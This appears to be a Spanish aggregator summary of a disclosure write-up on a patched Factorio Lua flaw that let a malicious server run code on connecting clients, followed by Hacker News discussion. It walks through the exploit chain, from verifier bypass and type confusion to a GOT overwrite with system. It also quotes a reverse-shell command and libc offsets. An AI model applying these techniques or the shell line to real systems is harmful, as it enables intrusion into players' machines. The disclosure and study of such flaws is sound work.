2 puntos por GN⁺ 2024-06-30 | 1 comentarios | Compartir por WhatsApp
  • La vulnerabilidad en la implementación de Lua de Factorio permitía que un servidor malicioso lograra ejecución de código arbitrario en el cliente que se conecta, y afectaba a versiones anteriores a 1.1.101, que ya fue corregida
  • Como el multijugador ejecuta el mismo código Lua con un esquema lockstep determinista, un atacante podía provocar la vulnerabilidad por la ruta de red mediante un mapa personalizado malicioso
  • En el centro del problema estaban la ejecución de bytecode permitida por load/loadstring del módulo base, además de un Off-By-One y falta de validación de tipos en el verificador propio de Factorio
  • El exploit primero filtraba direcciones con una confusión de tipos en FORLOOP, y luego manipulaba índices de upvalues para confundir LClosure con TString, construyendo objetos falsos y primitivas de lectura y escritura arbitrarias
  • El RCE en Linux reemplazaba la dirección GOT de ldexp por system y abusaba de la llamada a math.ldexp; además, requirió ajustes separados por diferencias en offsets de estructuras de Factorio y en el formato %a

Alcance de la vulnerabilidad y ruta de exposición de Lua

  • La vulnerabilidad en la implementación de Lua de Factorio permitía que un servidor malicioso lograra ejecución de código arbitrario en el cliente, y afectaba a versiones de Factorio anteriores a 1.1.101
  • Lua se usa en Factorio para lógica del juego, mods y mapas personalizados
    • Los mods pueden obtenerse dentro del juego o en Factorio Mods
    • La comunidad de modding tiene miles de mods, y algunos superan las 500 mil descargas
  • A simple vista parece un ataque local en el que habría que instalar manualmente un mod malicioso, pero por la forma de sincronización del multijugador, el intérprete de Lua queda expuesto en la ruta de red
  • El multijugador de Factorio usa lockstep determinista
    • No transmite el estado del juego como tal, sino solo las entradas del usuario por la red
    • El juego de todos los jugadores debe simular cada tick de forma idéntica
    • Si un jugador ejecuta código Lua, los demás también deben ejecutar el mismo código para mantener la sincronización
  • Las rutas por las que un atacante podía ejecutar código Lua se resumen en dos
    • Con permisos, ejecutar código Lua desde el servidor con el comando /c
    • Crear un mapa personalizado con código Lua para que el cliente lo ejecute al conectarse al servidor
  • Si se exponía un servidor malicioso en el navegador de servidores, podía generarse un flujo donde la víctima descargaba el mapa y ejecutaba el código Lua

Flujo completo del ataque

  • El ataque comenzaba con un servidor de Factorio que ofrecía un mapa malicioso
    • El exploit iba incluido en el código Lua del escenario del mapa
    • Cuando el cliente se conectaba al servidor, descargaba el mapa y ejecutaba el código Lua correspondiente
  • Después, se aprovechaban debilidades de la implementación de Lua para construir un objeto falso (fake object)
    • El objeto falso permitía filtrar memoria y corromper memoria
    • Como resultado, se podían crear varias primitivas que llevaban a ejecución de código
  • En lenguajes dinámicos, los objetos falsos son un medio clave para que el atacante obtenga un control fuerte
    • Las cadenas pueden usarse para filtrar datos arbitrarios
    • Los arreglos o tablas pueden usarse para escribir memoria arbitraria
    • Si existe una ruta para invocar funciones nativas, se puede llegar al control del flujo de ejecución

Ejecución de bytecode de Lua y problemas del verificador

  • Los módulos de Lua incluidos en Factorio son limitados
    • debug: acceso a funciones de depuración
    • math: interfaz matemática estándar de C
    • bit32: operaciones de bits
    • string: manipulación de cadenas
    • table: manipulación de tablas
    • base: funciones núcleo de Lua como print
  • Aunque faltan módulos claramente peligrosos como os.execute, load y loadstring del módulo base sí permiten la ejecución de bytecode, así que la superficie de ataque es grande
  • Lua primero compila el código fuente a bytecode de Lua y luego lo ejecuta en el intérprete
    • El bytecode no es código máquina de CPU, sino una representación que solo puede ejecutar el intérprete de Lua
    • Si se puede inyectar bytecode directamente, es posible ejecutar bytecode inválido que el compilador normal nunca generaría
  • Los desarrolladores de Lua conocían el riesgo de ejecutar bytecode arbitrario y habían creado un verificador, pero lo eliminaron en Lua 5.2
    • En la lista de correo de Lua quedó la idea de que el verificador existente se había eludido repetidamente y que las aplicaciones que ejecutan código Lua arbitrario harían mejor en no aceptar scripts precompilados
  • Al parecer, los desarrolladores de Factorio implementaron su propio verificador de bytecode sobre Lua 5.2.1
    • La lógica de protección se enfocaba en bloquear parámetros OOB evidentes, como saltos fuera del código o índices fuera del rango del arreglo de constantes
    • Por el significado de algunos opcode había un problema Off-By-One, y con offsets de salto como JMP 0 se podía saltar fuera del bloque de código
    • Como la región de constantes podía asignarse después del chunk de código, un atacante podía guardar bytecode en la sección de constantes y ejecutarlo saltándose la verificación mediante ese off-by-one

Filtración de direcciones: confusión de tipos en FORLOOP

  • Los objetos internos de Lua se representan como TValue
    • TValue está compuesto por Value, que guarda el valor, y tt_, que indica el tipo
    • Value ocupa 8 bytes y se interpreta como double o como puntero según el tipo
  • En Lua 5.2, todos los números se representan como double
    • Los números pueden almacenarse inline dentro de la unión Value, sin pasar por un puntero
    • Si se logra que un puntero a cadena se interprete como número, los bits del puntero pueden filtrarse como un valor double
  • En Lua normal, print(function) puede mostrar una dirección, pero en Factorio eso fue eliminado y tampoco se podían filtrar directamente direcciones de cadenas
  • El opcode de bucle FORLOOP normalmente debe venir después de FORPREP
    • FORPREP verifica que el valor inicial, el límite y el step sean numéricos
    • Dentro de FORLOOP no se valida el tipo del parámetro step, y las verificaciones basadas en lua_assert no se fuerzan en builds por defecto
  • Un atacante podía manipular el bytecode para eliminar FORPREP y ejecutar solo FORLOOP
    • Eso construye con bytecode una situación que el compilador no produciría a partir de código Lua normal
    • Si se coloca un objeto como una cadena en la posición del step, el puntero de ese TValue se interpreta como double y se filtra
  • El valor filtrado no se ve como un double normal, sino como los bits de un puntero interpretados como double, por eso aparece como un valor pequeño tipo 2.1944577826691e-317
    • IEEE 754 binary64 se compone de 1 bit de signo, 11 bits de exponente y 52 bits de mantisa
    • Si el valor del puntero parece un double desnormalizado, el valor original puede recuperarse desde la mantisa
  • Lua 5.2 no tiene pack/unpack ni tipos enteros, así que la conversión resulta complicada
    • Al inicio se usó string.format("%.13a", double) para leer mantisa y exponente y reconstruir el puntero
    • Un valor filtrado de ejemplo se reconstruyó como el puntero 0x43d6c0, y los datos reales de la cadena estaban 24 bytes después del encabezado TString

Manipulación de upvalues y confusión de tipos en LClosure

  • Un upvalue es el mecanismo de Lua para acceder a variables fuera del scope actual de una función
    • La información de upvalues en el bytecode incluye índice, nombre, si está en la pila y el índice en la pila
    • Un atacante puede modificar el índice de upvalue incluido en el bytecode
  • Si se cambia ese índice, en vez de referirse a la variable local original puede apuntar a otro TValue de la pila
    • En el ejemplo, se incrementó en uno el índice del upvalue target para que apuntara al LClosure de la función actual
    • El bytecode manipulado imprime LClosure: 0x... en lugar de nil
  • En Lua, la unidad real de ejecución de una función se divide entre Prototype y Closure
    • Proto funciona como plantilla de la función con bytecode, constantes, líneas de código fuente e información de upvalues
    • LClosure se crea en tiempo de ejecución y conecta Proto con la lista de upvalues
  • El opcode CLOSURE crea un nuevo closure de Lua, lo pone en la pila y luego inicializa los upvalues
    • Si hay 3 variables locales, el nuevo LClosure puede quedar en base + 3
    • Si se cambia el índice de upvalue a 3, se puede capturar ese TValue con el LClosure
  • Si una función interna sobrescribe el LClosure externo con una cadena y luego retorna, Lua intenta usar la cadena como si fuera un LClosure, provocando un fallo
    • La validación de tipos en la ruta de OP_RETURN depende de lua_assert y no se fuerza en la configuración por defecto
    • Como resultado, el cl del frame actual puede apuntar no a un LClosure real, sino a un TString controlado por el atacante
  • Aprovechando las diferencias de layout entre TString y LClosure, el área de datos de usuario de la cadena se superpone con las posiciones de Proto *p y Upval **upval
    • Esa confusión de tipos permite controlar el puntero al prototype de la función y el puntero al arreglo de upvalues
    • Si se hace apuntar a una región de memoria controlable, se pueden crear objetos falsos

Objetos falsos y primitivas de lectura/escritura

  • Hay dos rutas principales para crear objetos falsos
    • Una donde un Proto falso apunta a un arreglo falso de TValue
    • Otra donde un arreglo falso de UpVal apunta a TValue falsos
  • Se eligió la ruta de constantes porque tiene menos padding y permite reutilizar constantes dentro de la función
    • TString falso
    • Arreglo de TValue que apunta al TString falso
    • Proto que apunta al arreglo falso de TValue
    • LClosure que apunta al Proto falso
  • Un TString falso puede configurarse con un largo arbitrariamente grande para usarlo como primitiva de lectura
    • Se asume que los datos de la cadena Lua están después del encabezado TString
    • Con str:sub() se puede leer memoria dentro del rango alcanzado por la cadena falsa
    • Como los índices de cadenas en Lua empiezan en 1, hace falta un ajuste de 1 byte al calcular el encabezado
  • La primitiva de escritura funciona haciendo que un UpVal falso apunte al TValue de la dirección destino
    • Si se asigna un número a una variable Lua, se escribe un TValue numérico en esa ubicación
    • Los números se guardan inline en los primeros 8 bytes de TValue, así que se puede controlar el área del valor
    • Al mismo tiempo, los siguientes 8 bytes reciben información de tipo, por lo que también puede corromperse memoria vecina
  • Como los números de Lua son double, para escribir un patrón de bits entero específico hay que convertirlo
    • Se usa la unidad mínima de un double desnormalizado, 2^-1074
    • La codificación queda como integer_to_double(integer) = integer * 2^-1074

Control del instruction pointer y bypass de ASLR

  • Una Light C Function de Lua guarda un puntero a función inline dentro de TValue
    • El tipo de función es LUA_TFUNCTION, y Light C Function se representa con el valor LUA_TLCF 22
    • Si se colocan 0xdeadbeef en el área de valor de TValue y 22 en el área de tipo, puede invocarse como si fuera la función en esa dirección
  • Al llamar una Light C Function falsa se puede controlar el instruction pointer
    • En el ejemplo, RIP pasa a 0xdeadbeef y el proceso falla
    • A partir de ahí se puede continuar con técnicas de alteración del flujo de ejecución como una cadena ROP
  • El hecho de que el puntero de Light C Function se almacene inline también sirve para filtrar direcciones
    • Si funciones de Lua están implementadas como light C function, se puede leer la dirección de funciones como print con una primitiva de filtración
    • Eso permite calcular una base necesaria para evadir ASLR
  • Si funciones sandboxed siguen presentes en el binario, también es posible desviarse apuntando la función falsa a esa dirección y llamándola

Ajustes específicos para Factorio

  • Las pruebas iniciales se hicieron con el intérprete oficial de Lua, pero la implementación de Lua de Factorio tiene un layout de estructuras distinto
  • En el objeto GC CommonHeader de Factorio se agregó un puntero previous
    • En Lua oficial, la estructura es next, tt, marked
    • En Factorio parece ser previous, next, tt, marked
  • Esa diferencia desplaza algunos offsets en 8 bytes
    • El encabezado de TString pasa de 24 bytes a 32 bytes
    • Hay que corregir el cálculo de la dirección del contenido de la cadena y de las direcciones relativas de la primitiva de lectura
    • También debe reflejarse el puntero adicional en el cálculo de UpVal falsos y fake closure
  • En Factorio, el comportamiento del formato %a también difería de las pruebas con Lua oficial
    • string.format("%.13a", 2.1038461432219e-316) no producía el esperado 0x0.000000289c130p-1022, sino algo con la forma 0xa.2704c00000000p-1052
    • Eso rompía la reconstrucción de doubles basada en formato de cadena
  • La conversión final pasó a un método puramente numérico
    • Los valores desnormalizados pueden verse como enteros que comienzan desde el bit menos significativo hacia la derecha
    • double_to_number(double) = double * 2^52 * 2^1022 permite reconstruir el valor filtrado
    • Como 2^1074 no puede representarse como double, la multiplicación se divide en dos pasos

RCE en Linux: reemplazo de GOT y math.ldexp

  • En Linux, la ruta de RCE elegida usó reemplazo de GOT en lugar de una cadena ROP
    • Se buscó una función importada invocable desde Lua y cuyo primer argumento pudiera controlarse
    • Se sobrescribió la entrada GOT de esa función con la dirección de system
    • Luego se llamó esa función desde Lua para que actuara como system(command)
  • Dentro de las bibliotecas Lua limitadas de Factorio, math.ldexp resultó adecuada para ese propósito
    • Internamente llama a ldexp(luaL_checknumber(L, 1), luaL_checkint(L, 2))
    • En verificaciones con GDB se confirmó que el segundo argumento de Lua terminaba pasando como primer registro de argumento RDI en la llamada de libc
  • Como la GOT está antes del heap, no era fácil leerla directamente solo con la primitiva de lectura basada en cadena falsa
    • La primitiva de lectura solo puede acceder a direcciones posteriores al encabezado de la cadena falsa
    • Se aprovechó un segmento writable ubicado antes de la GOT para construir un TString falso en una posición previa a la GOT
  • Al crear el TString falso antes de la GOT, se pudieron leer direcciones de funciones de libc y así evadir ASLR
    • En el ejemplo se leyó la dirección de memcpy desde la GOT
    • Con offsets de libc 2.38 de Fedora 39 se calculó libc_base = memcpy - 0x138b80 y system = libc_base + 0x2a3b0
  • Después se sobrescribió la entrada GOT de ldexp con la dirección de system
    • En las direcciones de ejemplo, la ubicación 0x289ef00 se usó como entrada GOT de ldexp
    • Se sobrescribió con una operación del tipo write(0x289ef00, system)

Ejecución del comando y shell remota final

  • Al principio se intentó guardar el comando en una cadena de Lua y llamarlo con math.ldexp(0, addr_of(cmd) + 32)
    • El comando tenía la forma sh -c "sh -i >& /dev/tcp/127.0.0.1/9001 0>&1 &"
    • Pero Lua llamaba a ldexp con un parámetro de 32 bits, así que los bits altos de la dirección de la cadena se truncaban y fallaba
  • La solución fue escribir directamente la cadena del comando en el segmento writable del binario que ya se había usado para crear cadenas falsas
    • Como PIE no estaba habilitado, la dirección del binario principal era lo bastante pequeña
    • La cadena del comando se escribió cerca de la dirección 0x289c150 mediante varias llamadas a write()
  • La llamada math.ldexp(0, 0x289c150) pasó a comportarse como system(0x289c150) después del reemplazo de GOT
  • El resultado final se confirmó con una shell conectada a un listener local nc -lvp 9001
    • El prompt de la shell era sh-5.2$
    • El resultado de whoami era victim

Desafío práctico y materiales de referencia

1 comentarios

 
GN⁺ 2024-06-30
Opiniones de Hacker News
  • Inesperado
    Lua interpreta bytecode, así que pensé que podría comprobar si los argumentos de las instrucciones tenían sentido. Por ejemplo, cosas como si apuntan a memoria asignada por Lua.
    Pero en la práctica no fue así: si le metes bytecode con argumentos inválidos, lo ejecuta igual. El proceso de compromiso continúa desde ahí.
    Además, en vez de corregir el intérprete, el plan es analizar estáticamente el bytecode, pero eso parece funcionar solo para casos simples.
    Para ser un lenguaje interpretado supuestamente amigable con sandboxing, es bastante decepcionante, y me pregunto si aceptarían un parche para corregir el intérprete de modo que no confíe en la entrada. Parece que les preocupa la pérdida de rendimiento, pero eso suena dudoso cuando la opción rápida es LuaJIT.

    • Sobre un “parche para que el intérprete no confíe en la entrada”, entiendo que la postura de los desarrolladores de Lua es que un proceso que ejecuta código Lua arbitrario debería aceptar solo código fuente y desactivar la carga directa de bytecode.
      Ese enfoque parece razonable, porque mantiene la opción de cargar directamente bytecode de confianza, sin tener que meter verificaciones dinámicas en el intérprete que afecten a todos los usuarios.
    • Lua, a diferencia de lo que suele creerse, en realidad no es amigable con sandboxing.
      Por diseño, Lua no ofrece garantía de terminación, ni hay una buena forma de forzar la terminación de programas no confiables. Si aceptas entrada Lua no confiable, debes asumir que el programa puede quedarse colgado indefinidamente.
      Lua es excelente para entradas semiconfiables que pasaron una mínima diligencia, como código descargado de internet. Incluso si el código resulta ser malicioso, permite limitar mucho el daño, aunque no eliminarlo por completo.
      Si necesitas entradas completamente no confiables al estilo JavaScript, lo adecuado es Luau, el fork de Roblox: https://luau-lang.org/sandbox
    • ¿No es difícil decir que sea amigable con sandboxing?
      Como han mostrado otros lenguajes, crear un intérprete seguro para bytecode no es algo simple. También es una concesión para mantener simple la implementación de referencia.
      En cuanto a ejecutar código de terceros, no confiaría en la mayoría de estos intérpretes. Incluso en los navegadores apenas confío, considerando la cantidad de dinero de I+D y atención que reciben.
    • Es algo previsible. Debería ejecutarse solo el bytecode generado realmente por un compilador correcto. De lo contrario aparecen violaciones de seguridad de memoria o escapes del sandbox, e incluso escapes del sandbox mediante violaciones de seguridad de memoria.
      Es lo mismo que no ejecutar código máquina arbitrario.
      Luau también tiene la misma propiedad, y no es que Roblox sufra constantemente escapes del sandbox, ¿no?
    • Java, Wasm y BPF muestran que el bytecode verificable estáticamente es posible incluso en lenguajes con compilación JIT. El problema de Lua es que su bytecode no proporciona la información necesaria para verificar por completo la seguridad.
  • Ojalá este tipo de cosas estuviera definido o documentado con más claridad. Estamos en una situación en la que uno mismo tiene que averiguar qué lenguajes pueden considerarse razonablemente seguros.
    Por ejemplo, está el caso básico de código estático que el usuario ejecuta directamente, que es el escenario que suelen cuidar los lenguajes, incluido Lua.
    También está el caso de recibir y ejecutar código dinámicamente durante un proceso de actualización, pero solo desde canales oficiales. Ahí quizá baste con asegurar el proceso, aunque no es seguro.
    También hay casos en los que los usuarios pueden agregar código como plugins e instalarlo fácilmente con un botón desde una tienda. Los plugins pueden revisarse, pero casi nunca se hace bien, así que hay que evaluar si hace falta un sandbox o si el usuario debe tener cuidado.
    También están los juegos multijugador donde solo el servidor se amplía con plugins, pero los clientes no. Hay que considerar que los gamers que levantan servidores prueban activamente muchos plugins, y que la comunidad de plugins puede ser mucho más riesgosa.
    Por último, están los juegos multijugador en los que, como en un navegador, el servidor puede ejecutar código arbitrario en el cliente. En este caso hay que tener muchísimo cuidado con el sandbox del lado del cliente, porque los gamers entran a servidores arbitrarios sin pensar en las implicaciones de seguridad.
    Factorio cae justo en este último caso. No necesariamente me opongo a que los desarrolladores tengan que evaluar esto, pero, por ejemplo, no siempre es obvio que la función load de Lua pueda ejecutar bytecode arbitrario inseguro.
    Sinceramente, no sabía que el bytecode de Lua fuera inseguro; sí sabía que el bytecode de LuaJIT era inseguro. Pero este hecho parece estar mencionado de vez en cuando, como si fuera algo obvio, en listas de correo o issues de GitHub.
    También está el problema de que el servidor puede colgar al cliente. Basta con ejecutar un bucle infinito. Aunque esto es mucho más difícil de evitar, y tal vez ni siquiera tenga sentido intentar evitarlo.

    • No hay que asumir que ninguna forma de ejecutar código controlado por un atacante sea segura. Menos aún si no declara explícitamente que es segura y no dedica un nivel de esfuerzo de Google para respaldarlo.
    • Mordhau, un juego basado en Unreal Engine, tenía una función de mensaje del día donde el operador del servidor ponía una URL y, cuando un jugador se conectaba, se abría un navegador dentro del juego.
      No había una opción del lado del cliente para desactivar el navegador, y tengo entendido que los desarrolladores terminaron deshabilitándolo por completo, aunque no estoy seguro de su estado actual.
      Esto muestra lo complejos que se han vuelto los juegos y los motores de juego. Hay un navegador web integrado en lugares donde no parece haber mucha razón para tenerlo.
    • Lo primero que hay que mirar es si la solución afirma claramente ser un sandbox seguro frente a ejecución especulativa. No muchos lo harán, pero algunos sí, y desde ahí se puede empezar a juzgar.
  • Detrás de Factorio hay un equipo de desarrollo realmente bueno, así que confío en que están haciendo todo lo posible para corregir problemas como este. Dicho eso, el desarrollo de juegos en general tiene mucho de trabajo creativo, así que cosas como las prácticas de código o la seguridad parecen quedar relegadas
    Me pregunto cuántas vulnerabilidades zero-day habrá escondidas en clientes y servidores de juegos

    • En general, considero que los juegos con interacción remota no son completamente seguros por defecto. Conviene ejecutar Steam y todos los juegos dentro de algún tipo de sandbox
      Flatpak puede servir como punto de partida. Un contenedor no es un límite de seguridad fuerte, pero puede detener exploits simples
    • Probablemente no sea muy bueno. Basta pensar por qué fabricantes de consolas como Xbox, Sony y Nintendo no permiten conectarse a IPs de servidores arbitrarias ni dan soporte para mods
      No es solo una decisión de negocio para obligarte a usar sus servicios en línea oficiales. Si bloquean la conexión a IPs de servidores de terceros, aunque haya errores graves en el código de red o en el resto del juego, nunca podrán explotarse. Al limitar los mods, incluso los mods “seguros” como los de Lua, se pueden bloquear más exploits
      Históricamente, el código de red con muchos bugs ha derribado el DRM de varias consolas
      Además de los exploits, las consolas presumen de que el código pasa por revisión antes de distribuirse. Permitir la ejecución de Lua desde un sistema remoto significa que, aun después de la aprobación, el propio desarrollador podría reconfigurar el juego de forma remota, y los fabricantes de consolas no quieren permitir eso sin una revisión muy minuciosa
    • Por eso conviene tener una computadora separada para jugar. Mejor no guardar nunca ahí documentos importantes ni material de trabajo
      Lo ideal sería aislarla en una máquina virtual, pero configurar una máquina virtual para juegos es tremendamente engorroso y algunos juegos que usan anticheat podrían bloquearte
    • ¿Prácticas de código? Factorio está entre los softwares mejor programados, más estables y consistentes que he visto
      Si uno piensa en lo mucho que otros campos necesitan desesperadamente gente que programe bien, casi da pena que personas tan hábiles trabajen en juegos
  • En general, verificar programas es extremadamente difícil, no solo por el teorema de Rice. En especial en un lenguaje de bytecode no trivial como Lua, es demasiado fácil pasar algo por alto. Wasm, por ejemplo, no tiene el concepto de bucle for
    Resulta raro que, después de que el proyecto upstream abandonara este problema por ser demasiado difícil, los desarrolladores de Factorio intentaran arreglar el verificador o escribir el suyo propio
    La función loadstring de Minetest prohíbe por completo el bytecode: https://github.com/minetest/minetest/blob/9a1501ae89ffe79c38...
    Me pregunto por qué los mods de Factorio necesitan la capacidad de ejecutar bytecode Lua crudo. Si no la necesitan, tampoco habría hecho falta un verificador
    Para empezar, ejecutar código Lua descargado por la red es bastante peligroso. Los entornos de ejecución de JavaScript llevan décadas en un ciclo de descubrir y corregir exploits. En Lua también pasa, pero a menor escala y con menos personal para mejorar la seguridad
    Quizá la principal protección sea que hay menos gente ejecutando servidores de juego maliciosos

    • En respuesta a este problema, Factorio deshabilitó la carga de bytecode. El bytecode permitía hacer cosas interesantes, como escribir mods en lenguajes de preprocesamiento que emitían bytecode Lua, pero al final los problemas de seguridad pesaron más
      Por razones de seguridad similares, casi toda la biblioteca de depuración dejó de estar disponible para los mods
    • Al final, todos los desarrolladores de juegos aprenden por las malas que hay que quitar la funcionalidad de bytecode de la función loadstring() de Lua
      Por ejemplo, hay una publicación de los desarrolladores de ROBLOX de hace 12 años: https://archive.is/oXPyM
      Sinceramente, sería mejor desactivarla por defecto. Los usos legítimos son bastante de nicho
    • Factorio también tiene esto: https://mods.factorio.com/mod/Moon_Logic
      Además, crear software que simplemente no pueda ejecutarse en un entorno Turing completo es bastante limitante
      En cualquier caso, realmente se necesita un intérprete que incluya un sistema de permisos sólido
    • El teorema de Rice no parece ser el punto central aquí. Puede ser útil como primer filtro. Si crees que puedes decidir esto “simplemente” de manera exacta, deberías detenerte: Henry Rice demostró hace medio siglo que eso era imposible y obtuvo un doctorado por ello
      Pero si aceptaste el compromiso de admitir solo algunas de las entradas que cumplen los requisitos reales, el teorema de Rice deja de ser el tema. Ahora, en vez de una tarea imposible, solo queda una tarea extremadamente difícil
      Incluso si fallas, al menos puede consolarte que no te dirán que era algo imposible
      Factorio no debería haber tomado este camino
    • El teorema de Rice no aplica aquí. En la definición amplia de “sintaxis” que usa el teorema de Rice, las cosas que se intenta verificar en el bytecode corresponden a sintaxis
  • Pregunta de completo principiante: me pregunto por qué los juegos usan Lua y no, por ejemplo, JavaScript embebido con una interfaz definida, como una API para ajustar el estado del juego
    Parece que podrían beneficiarse del trabajo mucho más fuerte que se ha hecho para aislar entornos de navegador. Los navegadores son objetivos difíciles, muy bien probados y con muchísimo financiamiento
    También se ha invertido muchísimo trabajo en optimizar el rendimiento con tipado dinámico
    Además, si un mod necesita UI, existe canvas, y si se ofreciera un modelo parecido al DOM, potencialmente podrían usarse cosas como React

    • Según mi experiencia de hace unos años, la mayoría de los motores de JavaScript estaban envejecidos y casi sin mantenimiento, y los motores usados en navegadores fueron creados con el navegador como prioridad, no diseñados para integrarse fácilmente
      Lua fue creado específicamente para integración, así que hay mucha documentación y una gran comunidad que lo respalda
    • La mayoría de los motores de JavaScript son mucho más complejos de embeber que Lua. Lua está entre los softwares más fáciles de compilar que se me ocurren
      Además, estás confundiendo las API comunes de los navegadores con JavaScript. Un motor de JavaScript no proporciona canvas ni DOM. Por ejemplo, V8 tampoco los proporciona; tendrías que agregarlos tú mismo
  • No soy desarrollador de seguridad, pero por formalidad quiero decir: “¡wow, esto es tremendamente impresionante!”. Es difícil creer cuán clara y lógicamente hay que pensar para rastrear un caso de falla tan complejo. Definitivamente no es mi fuerte; yo soy mucho más del tipo “persona de ideas”.
    En cuanto al contenido, siento que si aparece un grupo de ingenieros de software de IA equipado con 10 mil posts de blog sobre cómo encontrar exploits de memoria raros como este, estamos completamente acabados.
    Al final, creo que necesitamos un paradigma totalmente nuevo para la seguridad, o al menos un nuevo componente dentro del stack. Lo de los clientes “confiables” modernos o los roles de DB se siente como parchar agujeros en un queso suizo.
    Ojalá podamos agregar otra capa de queso suizo gestionada por LLM.

    • Ya hay gente haciendo eso. Los resultados todavía no son prometedores.
  • Entonces, ¿esto no muestra un exploit que depende de cargar bytecode, una función anunciada como explotable? ¿Qué me estoy perdiendo?

    • Lo interesante fue lo mucho que fallaron los desarrolladores de Lua en el verificador de bytecode. No eran problemas complejos, sino cosas simples como un error off-by-one al modelar instrucciones básicas como jmp, o el problema de que el intérprete de Lua intentara interpretar como instrucciones todo lo que le llegara a las manos.
      Incluso intentaba interpretar secciones de datos que el verificador no tocaba.
    • Aunque sea una función anunciada, puede perjudicar a usuarios finales que no saben qué son Lua o el bytecode.
    • Hay un bug en el intérprete de bytecode que podría permitir la ejecución arbitraria de bytecode incluso en entornos donde loadstring está deshabilitado.
  • Qué suerte que gente tan capaz esté del lado bueno.

    • Parece mostrar cuánta gente es inherentemente buena o, al menos, no hace daño. No sé cuál sería la palabra correcta en inglés.
      Los medios te hacen creer lo contrario, y los comentarios promedio en esas noticias refuerzan esa creencia, pero si realmente fuera así, ¿cómo serían posibles muchos de los lujos y los programas médicos y de apoyo social de los que disfrutamos?
      No digo que el mundo no tenga problemas, pero claramente hay muchas más personas constructivas que destructivas.
      Vengo justo de un hilo de HN sobre los Panama Papers, así que tengo esta idea más presente. Ahí el ambiente era cínico, como si todos los ricos fueran malvados y todos se hubieran librado por completo de ser procesados, pero varios comentarios señalaron bien que en realidad ninguna de las dos cosas es cierta. Solo hay que leer un poco más abajo en el hilo y no dejarse arrastrar por el cinismo.
  • Creo que el bytecode de Lua nunca debería usarse fuera de sistemas embebidos que no tienen recursos suficientes para ejecutar el parser de código fuente Lua.
    Aparte de vulnerabilidades de seguridad, el único uso que parece útil es para programas de código cerrado.

  • Quizá se me pasó, y admito que leí por encima la parte final, pero parece que el autor no cubrió en absoluto qué medidas de mitigación se aplicaron realmente. Me gustaría saber más sobre eso.